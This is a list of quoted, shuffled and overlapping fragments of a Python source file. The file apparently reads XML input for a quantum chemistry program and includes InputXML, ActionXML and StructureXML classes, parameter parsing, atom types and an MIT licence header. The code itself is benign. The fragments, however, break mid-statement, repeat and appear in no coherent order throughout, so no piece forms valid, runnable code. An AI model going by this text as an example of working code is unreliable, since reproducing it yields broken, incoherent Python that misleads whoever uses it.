"if SettingsGenerator.generate_fortran(self.parameter_definitions[parameter_name]): if abbreviation is not None: argument_key = \"{}_{}\".format(abbreviation,",
"self.definition.findall('parameter'): if SettingsGenerator.is_valid_parameter(parameter_definition): self.set_parameter_value(parameter_definition, self.read_parameter_value(parameter_definition)) self.parameter_definitions[parameter_definition.attrib['name']] = parameter_definition if parameter_definition.attrib['name']",
"self.tree = ET.parse(filename) self.root = self.tree.getroot() else: print(\"Path for definition",
"THE * * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR",
"not found an InputProgrammingError is raised. \"\"\" if hasattr(self, 'parameter_values')",
"in the input file, and the default # value of",
"the values with type list to numpy arrays if self.parent_object",
"parameters first for parameter_definition in self.definition.findall('parameter'): if SettingsGenerator.is_valid_parameter(parameter_definition): self.set_parameter_value(parameter_definition, self.read_parameter_value(parameter_definition))",
"two (or more) arguments for the same parameter: {}\".format(argument_key)) else:",
"self.definition.findall('class'): if definition_tag.attrib['name'] == tag.tag: definition = definition_tag definition_found =",
"of 'self' and 'other' are equal \"\"\" for parameter_name in",
"final_value @staticmethod def read_tag_or_attribute_value(root, name): \"\"\" Reads the value of",
"read_input(self): charge = self.root.find('charge') # read relative charge if (charge",
"parameter_name.endswith(\"_id\"): # check if the tag has value that is",
"equal_found: return False return True def __eq__(self, other): \"\"\" Check",
"both input objects self_value = self.get_parameter_value(parameter_name) other_value = other.get_parameter_value(parameter_name) if",
"directory path = os.path.join(self.directory, self.parameter_values[parameter_name]) # make the path more",
"len(shape) == 3: new_array[:, :, :shape[2]] = temp_array[:, :, :]",
"hasattr(self, 'extends_directories') and self.extends_directories is not None: for i, extends_root",
"* copies or substantial portions of the Software. * *",
"which # has to be changed to a list array_values",
"result[0] = float(x.text) y = atom.find('y') if (y is not",
"float(xyz_text[2]) xyz_coord[2] = float(xyz_text[3]) coordinates.append(xyz_coord) else: sys.exit(\"Error: Too many or",
"\"\"\" if 'output_folder' in self.parameter_values: scf_energetics_filename = \\ os.path.join(self.parameter_values['output_folder'], \"scf_energetics.xml\")",
"reference is made with name and fills it to the",
"we are not finding the value if self.get_parameter_value(parameter_name) == 0:",
"not None\\ and hasattr(self, 'extends_directories') and self.extends_directories is not None:",
"publish, distribute, sublicense, and/or sell * * copies of the",
"(input_object is not None): self.root = input_object elif filename is",
"input directory path = os.path.join(self.directory, self.parameter_values[parameter_name]) # make the path",
"self.parameter_definitions[parameter_name] else: if argument_key not in parameter_definitions: argument_values[argument_key] = None",
"xyz_text[0] == \"\"): continue elif (len(xyz_text) == 4): types.append(self.get_atom_type(xyz_text[0])) charges.append(self.get_atom_charge(xyz_text[0]))",
"if not self.parameter_values_are_equal(other, parameter_name): return False return True def is_of_same_type_as(self,",
"(\"{}: {} \".format(option.attrib['value'], option.attrib['text_value'])) sys.exit('Error: The value \"{}\" for argument",
"name 'path' path_text = InputXML.read_tag_or_attribute_value(self.root, 'path') # try to retrieve",
"definition = definition, input_object = tag, directory = directory) else:",
"== 'scf_energetics': child = SCFEnergeticsXML(parent_object = self, definition = definition,",
"2: new_array[:, :shape[1]] = temp_array[:, :] else: new_array[:shape[0]] = temp_array[:]",
"more readable by removing extra slashes and dots self.parameter_values[parameter_name] =",
"= \\ os.path.join(self.parameter_values['output_folder'], \"scf_energetics.xml\") root_object = self.get_root_object() # if scf",
"raise InputProgrammingError(\"Accessed parameter: '{}' is not in the values \".format(parameter_name)+",
"name != \"\": id_value = self.get_tagid_for_name(tagtype, name) if id_value !=",
"option.attrib['text_value']: return option.attrib['value'] else: valid_options += (\"{}: {} \".format(option.attrib['value'], option.attrib['text_value']))",
"to default value/or None if one is not specified if",
"self_value == other_value def all_parameter_values_are_equal(self, other): \"\"\" Check if all",
"\"scf_energetics.xml\") root_object = self.get_root_object() # if scf energetics file exists,",
"of 'self'. \"\"\" if directory is not None: complete_path =",
"new_array[:, :shape[1]] = temp_array[:, :] else: new_array[:shape[0]] = temp_array[:] argument_values[argument_key]",
"the result array from the parameter definition size = int(parameter_definition.attrib['shape'])",
"break if not definition_found: print(\"Warning: Found unknown tag with name",
"= self.tree.getroot() else: print(\"Path for definition file: '{}' does not",
"the parameter definition. \"\"\" value = InputXML.read_tag_or_attribute_value(self.root, parameter_definition.attrib['name']) # if",
"store it to 'parameter_name' atribute of 'self'. \"\"\" if directory",
"1 return True else: if self.parent_object is not None: return",
"found, None is returned. \"\"\" value = None if root",
"'action': child = ActionXML(parent_object = self, definition = definition, input_object",
"with each other \"\"\" return self.is_of_same_type_as(other)\\ and self.all_parameter_values_are_equal(other)\\ and self.children_are_equal(other)",
"!= -1: self.parameter_values[parameter_name] = id_value for child in self.children: child.fill_id_values()",
"'false': value = False elif value_text.lower() == 'true': value =",
"print(\"Path for definition file: '{}' does not exist\".format(filename)) else: self.root",
"ones \"\"\" for parameter_name in self.parameter_values: if parameter_name in ['output_folder',",
"correct place \"\"\" for parameter_name in self.parameter_values: if parameter_name.endswith(\"_id\"): #",
"['output_folder', 'input_folder', 'folder_path']: if self.parameter_values[parameter_name] is not None: # convert",
"self.parent_object.get_counter_value(counter_name) else: return -1 def set_parameter_value(self, parameter_definition, value): \"\"\" Set",
"parameter with definition 'parameter_definition'. \"\"\" # convert the value to",
"arrays if self.parent_object is None: for argument_key in list(argument_values): #",
"else: value[i] = bool(arg) except ValueError: sys.exit('Error: parameter with type",
"with parameter_values_are_equal\"+ \" are not of same type.\") # get",
"next extends path and corresponding directory directory = self.extends_directories[-1] path_text",
"Counter not found.\".format(child.definition.attrib['local_index_counter'])) if 'counters' in child.definition.attrib: success = self.add_counter_value(child.definition.attrib['counters'])",
"objects to the tree \"\"\" if 'output_folder' in self.parameter_values: scf_energetics_filename",
"'parameter_name'. \"\"\" for parameter_definition in self.definition.findall('parameter'): if parameter_definition.attrib['name'] == parameter_name:",
"= int(value_text) elif argument_type.startswith('float'): value = float(value_text) elif argument_type.startswith('double'): value",
"input file name as an input.\") else: inp = InputXML(filename",
"'path' path_text = InputXML.read_tag_or_attribute_value(self.root, 'path') # try to retrieve the",
"'self.child_definitions' and 'self.parameter_definitions', respectively. User must note that this function",
"and store it to 'parameter_name' atribute of 'self'. \"\"\" if",
"{} failed. Counter not found.\".format(child.definition.attrib['global_index_counter'])) else: child.id = self.get_counter_value(child.definition.attrib['global_index_counter']) if",
"definition = ET.parse(definition_filename) self.definition = definition.getroot() else: sys.exit(\"Input definition filename",
"argument_values and argument_values[argument_key] is not None: argument_values[argument_key].append(self.parameter_values[parameter_name]) else: argument_values[argument_key] =",
"is None and hasattr(self, 'extends_roots') and self.extends_roots is not None:",
"'parameter_name' atribute of 'self'. \"\"\" if directory is not None:",
"tag has an attribute or child with # name 'path'",
"to 'self.parameter_values'. The corresponding definitions are stored to 'self.child_definitions' and",
"numpy.array(temp, dtype=\"c\").T elif type(argument_values[argument_key]) == list: temp_array = numpy.array(argument_values[argument_key], order='F').T",
"OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE",
"definition = self.definition.find('{}'.format(tag_name)) return definition def _parse_children(self, root, directory): \"\"\"",
"two objects of the same type. \"\"\" # check that",
"file at path 'path_text' to and store it to 'parameter_name'",
"return False elif self_value[i] != other_value[i]: return False return True",
"child of the root # and set it as the",
"equal for other_child in other.children: if child == other_child: equal_found",
"if 'type' in atom.attrib: return atom.attrib['type'] else: sys.exit(\"Error: The mandatory",
"not found.\".format(child.definition.attrib['counters'])) def add_counter_value(self, counter_name): \"\"\" Add value of counter",
"objects self_value = self.get_parameter_value(parameter_name) other_value = other.get_parameter_value(parameter_name) if isinstance(self_value, list)",
"and os.path.exists(filename): self.directory = os.path.dirname(filename) elif self.parent_object is not None:",
"get_interface_argument_values(self, argument_values, parameter_definitions = {}, abbreviation = None, counter_present =",
"in options: if 'value' in option.attrib and value_text == option.attrib['value']:",
"present in the input file, and the default # value",
"not None: definition = self.parent_object.definition.find(self.definition_tag) if definition is not None:",
"and creates the corresponding objects to the tree \"\"\" if",
"xml. If attribute or tag is not found, None is",
"value of the parameter is not specified. if self.parameter_values[parameter_name] is",
"modify, merge, publish, distribute, sublicense, and/or sell * * copies",
"secondarily from the objects we are extending from and thirdly",
"in an xml. If attribute or tag is not found,",
"self.parent_object.add_counter_value(counter_name) else: return False def get_counter_value(self, counter_name): \"\"\" Get the",
"None: value = None else: # do the parsing of",
"evaluate the molecular orbitals as dict try: dictionary = ast.literal_eval(\"{\"+",
"= OrderedDict() self.get_interface_argument_values(kwargs) return kwargs def form_new_directory_path(self, path_text, original_directory =",
"self.definition.attrib: abbreviation = self.definition.attrib['abbreviation'] for parameter_name in self.parameter_values: if SettingsGenerator.generate_fortran(self.parameter_definitions[parameter_name]):",
"counter_present) # if we are at the root, convert the",
"None,\\ parent_object = None,\\ definition = None, \\ directory =",
"objects. \"\"\" if counter_name in self.parameter_values: return self.parameter_values[counter_name] else: if",
"tags stored in self.root and self.extends_roots. Stores the found child-xml",
"the parameter is not found an InputProgrammingError is raised. \"\"\"",
"self.parameter_values: if not self.parameter_values_are_equal(other, parameter_name): return False return True def",
"elif self.parent_object is not None: self.directory = self.parent_object.directory else: self.directory",
"subject to the following conditions: * * * * The",
"definition_found = False for definition_tag in self.definition.findall('class'): if definition_tag.attrib['name'] ==",
"the value of the parameter first from the values of",
"value[i] = float(arg) if argument_type.startswith('string'): if SettingsGenerator.generate_fortran(parameter_definition): value[i] = str(arg)",
"try to find the correct definition tag by using the",
"* * copies of the Software, and to permit persons",
"above copyright notice and this permission notice shall be included",
"free of charge, to any person obtaining a copy *",
"'Be':4, 'B':5, 'C':6, 'N':7, 'O':8, 'F':9, 'Ne':10, 'Na': 11, 'Mg':12,",
"path_text != \"\": try: self.root = self.retrieve_path(path_text, self.directory) self.directory =",
"self.directory) self.directory = self.form_new_directory_path(path_text, self.directory) except Exception as e: sys.exit(str(e))",
"the counter is not found in the local object, it",
"not found, try to find the definition from # the",
"elif value_text.lower() == 'true': value = True else: value =",
"abbreviation = self.definition.attrib['abbreviation'] for parameter_name in self.parameter_values: if SettingsGenerator.generate_fortran(self.parameter_definitions[parameter_name]): if",
"numpy arrays if self.parent_object is None: for argument_key in list(argument_values):",
"portions of the Software. * * * * THE SOFTWARE",
"\"{0:{width}}\".format(argument_values[argument_key][j], width=256) argument_values[argument_key] = numpy.array(temp, dtype=\"c\").T elif type(argument_values[argument_key]) == list:",
"def convert_argument_value(self, value_text, parameter_definition): argument_type = parameter_definition.attrib['type'] if SettingsGenerator.has_options(parameter_definition): value_text",
"'other' are equal with definition and value \"\"\" for child",
"an input.\") else: inp = InputXML(filename = sys.argv[1], definition_filename =",
"result = None if len(options) > 0: valid_options = \"\"",
"def __init__(self, filename = None, \\ definition_filename = None,\\ input_object",
"included in all* * copies or substantial portions of the",
"self.tree.getroot() else: print(\"Path for definition file: '{}' does not exist\".format(filename))",
"same type.\") # get the values for both input objects",
"None self.parent_object = parent_object if directory is not None: self.directory",
"of charge, to any person obtaining a copy * *",
"-1 def set_parameter_value(self, parameter_definition, value): \"\"\" Set an arbitrary value",
"= path_text directory_path = os.path.dirname(complete_path) # check if the path",
"or isinstance(self_value, numpy.ndarray): if len(self_value) != len(other_value): return False for",
"scf energetics of the action if os.path.exists(os.path.join(self.directory, scf_energetics_filename)): scf_energetics_definition =",
"size of the result array from the parameter definition size",
"array (could also be a dictionary), which # has to",
"= definition_tag definition_found = True break if not definition_found: print(\"Warning:",
"if hasattr(self, 'extends_roots') and self.extends_roots is not None\\ and hasattr(self,",
"None: self.definition = definition elif definition_filename is not None: if",
"few coordinates in 'atoms'->'xyz' -line.\") self.coordinates.extend(coordinates) self.types.extend(types) self.charges.extend(charges) if __name__",
"without limitation the rights * * to use, copy, modify,",
"else: child = InputXML(parent_object = self, definition = definition, input_object",
"{} is smaller than the smallest allowed value: {}', parameter_definition.attrib['name'],",
"xyz_coord[1] = float(xyz_text[2]) xyz_coord[2] = float(xyz_text[3]) coordinates.append(xyz_coord) else: sys.exit(\"Error: Too",
"i, arg in enumerate(array_values): if argument_type.startswith('int'): value[i] = int(arg) if",
"elif arg.lower() == 'true': value[i] = True else: value[i] =",
"len(argument_values[argument_key])+1), dtype=\"c\") for j, value in enumerate(argument_values[argument_key]): temp[:, j] =",
"'action_input' def parse(self): super(ActionXML, self).parse() self.handle_output_files() def handle_output_files(self): \"\"\" Reads",
"self.add_counter_value(child.definition.attrib['counters']) if not success: print(\"Warning: Adding counter {} failed. Counter",
"None, the # parameter is not present in the input",
"to numpy arrays if self.parent_object is None: for argument_key in",
"directory = self.directory while path_text is not None: # try",
"value is found, break the iteration if value is not",
"substantial portions of the Software. * * * * THE",
"id for each parameter where reference is made with name",
"structure = StructureXML(parent_object = root_object, \\ definition = structure_definition) structure.root",
"convert the value to right data type and check that",
"* size for key in dictionary: # convert the indexing",
"= tag_name \"\"\" definition = self.definition.find('{}'.format(tag_name)) return definition def _parse_children(self,",
"\"\"\" for child in self.children: equal_found = False # go",
"parameter_definition.attrib['minval'] if value < float(minval): sys.exit('Error: argument with name {}",
"result[1] = float(y.text) z = atom.find('z') if (z is not",
"if self.parameter_values[counter_name] is None: self.parameter_values[counter_name] = 0 self.parameter_values[counter_name] += 1",
"== list: temp_array = numpy.array(argument_values[argument_key], order='F').T shape = temp_array.shape if",
"function is a subfunctionality of function 'parse' and it should",
"type(other) \\ and self.definition.attrib['name'] == other.definition.attrib['name'] def children_are_equal(self, other): \"\"\"",
"has an attribute or child with # name 'path' path_text",
"independently. \"\"\" for tag in root: if tag.tag not in",
"\"\"\" Reads in the output files and creates the corresponding",
"parameter_definitions[argument_key].attrib['type'].startswith('string') and type(argument_values[argument_key]) == list: temp = numpy.empty((256, len(argument_values[argument_key])+1), dtype=\"c\")",
"abbreviation = None, counter_present = False): \"\"\" This function converts",
"for all found children in '_parse_children' calls. \"\"\" self.parameter_values =",
"is * * furnished to do so, subject to the",
"{} is larger than the largest allowed value: {}', parameter_definition.attrib['name'],",
"the next extends path and corresponding directory directory = self.extends_directories[-1]",
"'structure' definition_tag = 'structure_input' atom_types = {'H':1, 'He':2, 'Li':3, 'Be':4,",
"structure_filename)): structure_definition = root_object.definition.find('structure_input') structure = StructureXML(parent_object = root_object, \\",
"value[i] = str(arg) if argument_type.startswith('bool'): if arg.lower() == 'false': value[i]",
"def get_parameter_value(self, parameter_name): \"\"\" Get the value of the parameter",
"import os import sys import xml.etree.ElementTree as ET import numpy,",
"them # to 'self' if self.root is not None: self._parse_children(self.root,",
"the parameter definition for parameter name 'parameter_name'. \"\"\" for parameter_definition",
"value def get_parameter_value(self, parameter_name): \"\"\" Get the value of the",
"PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * *",
"[] self.extends_directories = [] directory = self.directory while path_text is",
"the content from path_text try: self.extends_roots.append(self.retrieve_path(path_text, directory)) self.extends_directories.append(self.form_new_directory_path(path_text, directory)) except",
"= self.parameter_values['name'] else: print(\"PARAMETER is not valid\", parameter_definition.attrib['name']) # if",
"and self.extends_directories is not None: for i, extends_root in enumerate(self.extends_roots):",
"'settings' definition_tag = 'settings_input' class StructureXML(InputXML): tag_type = 'structure' definition_tag",
"except: try: result = ast.literal_eval(\"[\"+ value_text +\"]\") except: raise Exception(\"Bad",
"for option in options: if 'value' in option.attrib and value_text",
"and the parameter values to 'self.parameter_values'. The corresponding definitions are",
"float(x.text) y = atom.find('y') if (y is not None): result[1]",
"print(\"Give the input file name as an input.\") else: inp",
"'name') and child.name == name: return child.id return -1 def",
"more) arguments for the same parameter: {}\".format(argument_key)) else: argument_values[argument_key] =",
"'self.children' and the parameter values to 'self.parameter_values'. The corresponding definitions",
"range(len(self_value)): if type(self_value[i]) == float or type(self_value[i]) == numpy.float64 or",
"and 'other' are equal \"\"\" for parameter_name in self.parameter_values: if",
"path_text = InputXML.read_tag_or_attribute_value(self.root, 'path') # try to retrieve the content",
"other \"\"\" return type(self) == type(other) \\ and self.definition.attrib['name'] ==",
"this function is a subfunctionality of function 'parse' and it",
"'counters' in child.definition.attrib: counter_present = True if SettingsGenerator.generate_fortran(child.definition): child.get_interface_argument_values(argument_values, parameter_definitions,",
"in dictionary: # convert the indexing from the 1-starting to",
"name 'extends_path' path_text = InputXML.read_tag_or_attribute_value(self.root, 'extends_path') self.extends_roots = [] self.extends_directories",
"children of root xml-tag 'root' and store them as children",
"if not equal_found: return False return True def __eq__(self, other):",
"self.root.find('charge') # read relative charge if (charge is not None):",
"get_atom_charge(self, atom_type_text): return float(self.atom_types[atom_type_text]) def read_atom_type(self, atom): if 'type' in",
"IN THE * * SOFTWARE. * *----------------------------------------------------------------------------------\"\"\" # Input file",
"path exists if not os.path.exists(directory_path): raise Exception(\"Error: '{}' tag path",
"= False # go through all the children and check",
"specified if value is None: if 'default' in parameter_definition.attrib: value",
"= parameter_definition.findall('option') result = None if len(options) > 0: valid_options",
"value = numpy.zeros(size) try: for i, arg in enumerate(array_values): if",
"is not None: self.directory = self.parent_object.directory else: self.directory = None",
"definition, input_object = tag, directory = directory) self.children.append(child) self.child_definitions.append(tag.tag) self.add_counters(child)",
"tag has value that is not 0, in that case",
"2010-2018 <NAME>, <NAME>, <NAME>, * * <NAME>, <NAME>, <NAME> *",
"back to default value/or None if one is not specified",
"xyz_coord = [0.0, 0.0, 0.0] # ignore empty lines if",
"self.form_new_directory_path(path_text, self.directory) except Exception as e: sys.exit(str(e)) # check if",
"SettingsXML(InputXML): tag_type = 'settings' definition_tag = 'settings_input' class StructureXML(InputXML): tag_type",
"# parse the children from the xml-root of this object",
"path '{}' does not exist\".format(self.tag_type, complete_path)) return directory_path def retrieve_path(self,",
"None: for extends_root in self.extends_roots: value = InputXML.read_tag_or_attribute_value(extends_root, parameter_definition.attrib['name']) #",
"= [] if (xyz is not None): xyz_lines = xyz.text.splitlines()",
"e: sys.exit(str(e)) # check if current tag has an attribute",
"= [0.0, 0.0, 0.0] # ignore empty lines if (len(xyz_text)",
"value from extends roots if value is None and hasattr(self,",
"COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER",
"sys.exit('Error: argument with name {} and value {} is smaller",
"filename = None, \\ definition_filename = None,\\ input_object = None,\\",
"= {'H':1, 'He':2, 'Li':3, 'Be':4, 'B':5, 'C':6, 'N':7, 'O':8, 'F':9,",
"self.root and self.extends_roots. Stores the found child-xml classes to 'self.children'",
"seached from the parent objects. \"\"\" if counter_name in self.parameter_values:",
"xyz_text = xyz.strip().split(\" \") xyz_coord = [0.0, 0.0, 0.0] #",
"children in the 'self'. Note: this function is a subfunctionality",
"except Exception as e: sys.exit(str(e)) # check if current tag",
"enumerate(argument_values[argument_key]): temp[:, j] = \"{0:{width}}\".format(argument_values[argument_key][j], width=256) argument_values[argument_key] = numpy.array(temp, dtype=\"c\").T",
"child in self.children: child.fill_id_values() def get_tagid_for_name(self, tagtype, name): if self.parent_object",
"# then read atoms in 'atoms' tags for i, atoms",
"of a tag or attribute with name 'name' in an",
"return float(self.atom_types[atom_type_text]) def read_atom_type(self, atom): if 'type' in atom.attrib: return",
"self_value = self.get_parameter_value(parameter_name) other_value = other.get_parameter_value(parameter_name) if isinstance(self_value, list) or",
"root_object.definition.find('structure_input') structure = StructureXML(parent_object = root_object, \\ definition = structure_definition)",
"arguments for the same parameter: {}\".format(argument_key)) else: argument_values[argument_key] = self.parameter_values[parameter_name]",
"DEALINGS IN THE * * SOFTWARE. * *----------------------------------------------------------------------------------\"\"\" # Input",
"LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * * LIABILITY,",
"definition_tag = 'input_definition' def __init__(self, filename = None, \\ definition_filename",
"None elif argument_type.startswith('int'): value = int(value_text) elif argument_type.startswith('float'): value =",
"calls. \"\"\" self.parameter_values = OrderedDict() self.parameter_definitions = OrderedDict() self.children =",
"a tag or attribute with name 'name' in an xml.",
"collections import OrderedDict class InputProgrammingError(Exception): pass class InputXML(object): tag_type =",
"'{}' does not exist\".format(self.tag_type, complete_path)) def retrieve(self): \"\"\" Retrieves content",
"if (input_object is not None): self.root = input_object elif filename",
"the input file, and the default # value of the",
"granted, free of charge, to any person obtaining a copy",
"value is None and hasattr(self, 'extends_roots') and self.extends_roots is not",
"and/or 'extends_path'. \"\"\" if self.root is not None: # check",
"return True else: return self_value == other_value def all_parameter_values_are_equal(self, other):",
"\"\"\" for parameter_name in self.parameter_values: if parameter_name in ['output_folder', 'input_folder',",
"then read atoms in 'atoms' tags for i, atoms in",
"all found children in '_parse_children' calls. \"\"\" self.parameter_values = OrderedDict()",
"!= \"\": try: self.root = self.retrieve_path(path_text, self.directory) self.directory = self.form_new_directory_path(path_text,",
"return False for i in range(len(self_value)): if type(self_value[i]) == float",
"get_parameter_definition(self, parameter_name): \"\"\" Retrieve the parameter definition for parameter name",
"the parameter first from the values of the XML-element, secondarily",
"def all_parameter_values_are_equal(self, other): \"\"\" Check if all parameter values of",
"definition for parameter name 'parameter_name'. \"\"\" for parameter_definition in self.definition.findall('parameter'):",
"= self.parent_object.directory else: self.directory = None if definition is not",
"isinstance(self_value, numpy.ndarray): if len(self_value) != len(other_value): return False for i",
"valid_options)) def get_root_object(self): if self.parent_object is None: return self else:",
"child in self.parent_object.children: if hasattr(child, 'tag_type') and child.tag_type == tagtype",
"scf_energetics.root = scf_energetics.retrieve_path(scf_energetics_filename, scf_energetics.directory) root_object.children.append(scf_energetics) root_object.child_definitions.append('scf_energetics') root_object.add_counters(scf_energetics) scf_energetics.parse() scf_energetics_id_definition =",
"store them # to 'self' if self.root is not None:",
"for two objects of the same type. \"\"\" # check",
"{} '.format(value_text, parameter_definition.attrib['name'], valid_options)) def get_root_object(self): if self.parent_object is None:",
"else: print(\"Path for definition file: '{}' does not exist\".format(filename)) else:",
"option.attrib['value']: return value_text elif 'text_value' in option.attrib and value_text ==",
"from and thirdly from the default value of the parameter",
"self.check_value_range(final_value, parameter_definition) # set the parameter value self.parameter_values[parameter_definition.attrib['name']] = final_value",
"and self.extends_roots is not None: for extends_root in self.extends_roots: value",
"for child in self.children: child.fill_id_values() def get_tagid_for_name(self, tagtype, name): if",
"child.definition.attrib: success = self.add_counter_value(child.definition.attrib['global_index_counter']) if not success: print(\"Warning: Adding counter",
"not None: if os.path.exists(definition_filename): definition = ET.parse(definition_filename) self.definition = definition.getroot()",
"definition, input_object = tag, directory = directory) elif tag.tag ==",
"Note: this function is a subfunctionality of function 'parse' and",
"list(argument_values): # the string lists need some special attention: if",
"@staticmethod def read_tag_or_attribute_value(root, name): \"\"\" Reads the value of a",
"= self.form_new_directory_path(path_text, self.directory) except Exception as e: sys.exit(str(e)) # check",
"\\ os.path.join(self.parameter_values['output_folder'], \"scf_energetics.xml\") root_object = self.get_root_object() # if scf energetics",
"object has extends_root, then parse the children from it #",
"read atoms in 'atoms' tags for i, atoms in enumerate(self.root.findall('atoms')):",
"definition tree\", self.definition_tag) else: sys.exit(\"Definition tag input not given.\") self.retrieve()",
"elif tag.tag == 'scf_energetics': child = SCFEnergeticsXML(parent_object = self, definition",
"complete_path)) def retrieve(self): \"\"\" Retrieves content to the tag from",
"\"\"\" # convert the value to right data type and",
"to the tag from external file(s), if the tag has",
"parameter_definition.attrib: maxval = parameter_definition.attrib['maxval'] if value > float(maxval): sys.exit('Error: argument",
"for tag in root: if tag.tag not in self.parameter_values: #",
"return False return True else: return self_value == other_value def",
"if the output folder does not exist, create it if",
"2: new_shape = (shape[0], shape[1]+1) else: new_shape = (shape[0]+1) new_array",
"len(other_value): return False for i in range(len(self_value)): if type(self_value[i]) ==",
"argument_values, parameter_definitions = {}, abbreviation = None, counter_present = False):",
"'basis_set': child = BasisSetXML(parent_object = self, definition = definition, input_object",
"from the 1-starting to 0-starting result[key-1] = dictionary[key] except: try:",
"add_counter_value(self, counter_name): \"\"\" Add value of counter parameter with name=='counter_name'",
"values of the XML-element, secondarily from the objects we are",
"to do so, subject to the following conditions: * *",
"if SettingsGenerator.generate_fortran(parameter_definition): value = str(value_text) else: value = str(value_text) elif",
"get_atom_charge(xyz_text[0]) result[0] = float(xyz_text[1]) result[1] = float(xyz_text[2]) result[2] = float(xyz_text[3])",
"counter values for the child object 'child' of 'self' by",
"AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES",
"structure.retrieve_path(structure_filename, structure.directory) root_object.children.append(structure) root_object.child_definitions.append('structure') root_object.add_counters(structure) structure.parse() structure_id_definition = self.get_parameter_definition('structure_id') self.set_parameter_value(structure_id_definition,",
"convert the values with type list to numpy arrays if",
"in self.definition.findall('parameter'): if parameter_definition.attrib['name'] == parameter_name: return parameter_definition return None",
"value = tag.text elif name in root.attrib: value = root.attrib[name]",
"None: value = None elif argument_type.startswith('int'): value = int(value_text) elif",
"a dictionary), which # has to be changed to a",
"= float(value_text) elif argument_type.startswith('string'): if SettingsGenerator.generate_fortran(parameter_definition): value = str(value_text) else:",
"final_value = self.convert_argument_value(value, parameter_definition) # check that value is within",
"name in root.attrib: value = root.attrib[name] return value def read_parameter_value(self,",
"for the next loop by getting the next extends path",
"for the parameter with definition 'parameter_definition'. \"\"\" # convert the",
"xyz_lines: xyz_text = xyz.strip().split(\" \") xyz_coord = [0.0, 0.0, 0.0]",
"* * in the Software without restriction, including without limitation",
"and fills it to the correct place \"\"\" for parameter_name",
"as the input structure of the action if os.path.exists(os.path.join(self.directory, structure_filename)):",
"is not None: # check if current tag has an",
"if current tag has an attribute or child with #",
"os.path.exists(self.parameter_values[parameter_name]): os.makedirs(self.parameter_values[parameter_name]) for child in self.children: child.handle_folders() def get_interface_argument_values(self, argument_values,",
"it as the input structure of the action if os.path.exists(os.path.join(self.directory,",
"self.parameter_values[parameter_definition.attrib['name']] = final_value @staticmethod def read_tag_or_attribute_value(root, name): \"\"\" Reads the",
"IN NO EVENT SHALL THE * * AUTHORS OR COPYRIGHT",
"= definition else: sys.exit(\"Definition tag '{}' not found from parent",
"(shape[0]+1) new_array = numpy.empty(new_shape, order='F') if len(shape) == 3: new_array[:,",
"in range(len(self_value)): if type(self_value[i]) == float or type(self_value[i]) == numpy.float64",
"for child in self.children: child.handle_folders() def get_interface_argument_values(self, argument_values, parameter_definitions =",
"if root is not None: tag = root.find(name) if tag",
"invalid value: \\'{}\\''.format(argument_type, parameter_definition.attrib['name'], value_text)) return value def check_value_range(self, value,",
"a tag with name = tag_name \"\"\" definition = self.definition.find('{}'.format(tag_name))",
"tag '{}' not found from parent definition tree\", self.definition_tag) else:",
"xml.etree.ElementTree as ET import numpy, ast from .generate_objects import SettingsGenerator",
"return self.parent_object.get_counter_value(counter_name) else: return -1 def set_parameter_value(self, parameter_definition, value): \"\"\"",
"return not self.__eq__(other) def read_array_values(self, value_text, argument_type): is_number = argument_type.startswith(\"int\")",
"of the parameter definition. \"\"\" value = InputXML.read_tag_or_attribute_value(self.root, parameter_definition.attrib['name']) #",
"parameter_definitions[argument_key] = self.parameter_definitions[parameter_name] else: if argument_key in argument_values: print(\"Warning: Found",
"all_parameter_values_are_equal(self, other): \"\"\" Check if all parameter values of 'self'",
"\"\"\" Get the value of the parameter from the parsed",
"None if definition is not None: self.definition = definition elif",
"None: if 'minval' in parameter_definition.attrib: minval = parameter_definition.attrib['minval'] if value",
"{} failed. Counter not found.\".format(child.definition.attrib['counters'])) def add_counter_value(self, counter_name): \"\"\" Add",
"is raised. \"\"\" if hasattr(self, 'parameter_values') and parameter_name in self.parameter_values:",
"'true': value[i] = True else: value[i] = bool(arg) except ValueError:",
"parent objects. \"\"\" if counter_name in self.parameter_values: if self.parameter_values[counter_name] is",
"parameter_definition.attrib['name'], value, float(maxval)) def get_option_value(self, value_text, parameter_definition): options = parameter_definition.findall('option')",
"input scf energetics of the action if os.path.exists(os.path.join(self.directory, scf_energetics_filename)): scf_energetics_definition",
"tag, directory = directory) elif tag.tag == 'basis_set': child =",
"if 'value' in option.attrib and value_text == option.attrib['value']: return value_text",
"os.path.join(directory, path_text) else: complete_path = path_text # check if the",
"object, it is seached from the parent objects. \"\"\" if",
"parameter_definition.attrib['type'] if SettingsGenerator.has_options(parameter_definition): value_text = self.get_option_value(value_text, parameter_definition) if SettingsGenerator.is_array(parameter_definition): if",
"= new_array elif argument_values[argument_key] is None: del argument_values[argument_key] def add_counters(self,",
"shall be included in all* * copies or substantial portions",
"argument_type.startswith('bool'): if arg.lower() == 'false': value[i] = False elif arg.lower()",
"SOFTWARE. * *----------------------------------------------------------------------------------\"\"\" # Input file reader import os import",
"def children_are_equal(self, other): \"\"\" Check if children of 'self' and",
"in 'atoms' tags for i, atoms in enumerate(self.root.findall('atoms')): self.read_atoms_coordinates_and_types(atoms) def",
"the Software without restriction, including without limitation the rights *",
"# join the directory of the file with the input",
"\"\"\" if 'global_index_counter' in child.definition.attrib: success = self.add_counter_value(child.definition.attrib['global_index_counter']) if not",
"a child of the root # and set it as",
"else: self.directory = None if definition is not None: self.definition",
"OTHER * * LIABILITY, WHETHER IN AN ACTION OF CONTRACT,",
"= ast.literal_eval(\"{\"+ value_text +\"}\") size = max(dictionary.keys()) # init array",
"= InputXML.read_tag_or_attribute_value(self.root, 'extends_path') self.extends_roots = [] self.extends_directories = [] directory",
"key in dictionary: # convert the indexing from the 1-starting",
"atom_type = get_atom_type(xyz_text[0]) atom_charge = get_atom_charge(xyz_text[0]) result[0] = float(xyz_text[1]) result[1]",
"copies of the Software, and to permit persons to whom",
"= self.parameter_values[tagtype+\"_name\"] if name is not None and name !=",
"'atom' tags for i, atom in enumerate(self.root.findall('atom')): self.read_atom_coordinates_and_type(atom) # then",
"not found.\".format(child.definition.attrib['global_index_counter'])) else: child.id = self.get_counter_value(child.definition.attrib['global_index_counter']) if 'local_index_counter' in child.definition.attrib:",
